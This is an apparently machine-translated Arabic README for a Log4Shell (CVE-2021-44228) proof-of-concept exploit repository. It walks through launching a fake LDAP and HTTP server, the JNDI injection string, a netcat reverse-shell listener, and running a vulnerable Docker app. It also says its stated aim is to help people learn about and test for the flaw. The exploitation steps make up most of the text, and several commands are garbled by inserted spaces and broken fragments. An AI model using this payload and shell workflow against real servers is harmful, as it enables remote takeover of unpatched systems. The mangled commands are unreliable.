إثبات لمفهوم الثغرة الأمنية CVE-2021-44228 التي تم اكتشافها مؤخرًا.
ظهرت مؤخرًا ثغرة أمنية جديدة في log4j، وهي مكتبة تسجيل جافا تُستخدم على نطاق واسع جدًا في أمثال Elasticsearch وMinecraft وغيرها الكثير.
يوجد في هذا المستودع مثال لتطبيق ضعيف واستغلال لإثبات المفهوم (POC) له.
وباعتباره PoC، يوجد ملف python الذي يعمل على أتمتة العملية.
pip install -r requirements.txt
nc - lvnp 9001
jdk1.8.0_20
، وأن يكون في نفس الدليل. $ python3 poc . py - - userip localhost - - webport 8000 - - lport 9001
[!] CVE : CVE - 2021 - 44228
[!] Github repo : https : // github . com / kozmer / log4j - shell - poc
[ + ] Exploit java class created success
[ + ] Setting up fake LDAP server
[ + ] Send me : ${ jndi : ldap : // localhost : 1389 / a }
Listening on 0.0 . 0.0 : 1389
سيقوم هذا البرنامج النصي بإعداد خادم HTTP وخادم LDAP لك، كما سيقوم أيضًا بإنشاء الحمولة التي يمكنك استخدامها للصق في المعلمة الضعيفة. بعد ذلك، إذا سار كل شيء على ما يرام، فيجب أن تحصل على قذيفة على المنفذ.
يوجد ملف Dockerfile مع تطبيق الويب الضعيف. يمكنك استخدام هذا باتباع الخطوات التالية:
1 : docker build - t log4j - shell - poc .
2 : docker run -- network host log4j - shell - poc
بمجرد تشغيله، يمكنك الوصول إليه على المضيف المحلي:8080
توفر Oracle لحسن الحظ أرشيفًا لجميع إصدارات Java السابقة:
https://www.Oracle.com/java/technologies/javase/javase8-archive-downloads.html.
قم بالتمرير لأسفل إلى 8u20
وقم بتنزيل الملفات المناسبة لنظام التشغيل والأجهزة لديك.
ملحوظة: أنت بحاجة إلى إنشاء حساب لتتمكن من تنزيل الحزمة.
بمجرد تنزيل الأرشيف واستخراجه، يمكنك العثور على java
وبعض الثنائيات ذات الصلة في jdk1.8.0_20/bin
.
ملاحظة: تأكد من استخراج مجلد jdk إلى هذا المستودع بنفس الاسم حتى يعمل.
❯ tar -xf jdk-8u20-linux-x64.tar.gz
❯ ./jdk1.8.0_20/bin/java -version
java version "1.8.0_20"
Java(TM) SE Runtime Environment (build 1.8.0_20-b26)
Java HotSpot(TM) 64-Bit Server VM (build 25.20-b23, mixed mode)
ليس المقصود من هذا المستودع أن يكون استغلالاً بنقرة واحدة لـ CVE-2021-44228. الغرض من هذا المشروع هو مساعدة الأشخاص على التعرف على هذه الثغرة الأمنية، وربما اختبار تطبيقاتهم الخاصة (على الرغم من وجود تطبيقات أفضل لهذا الغرض، على سبيل المثال: https://log4shell.tools/).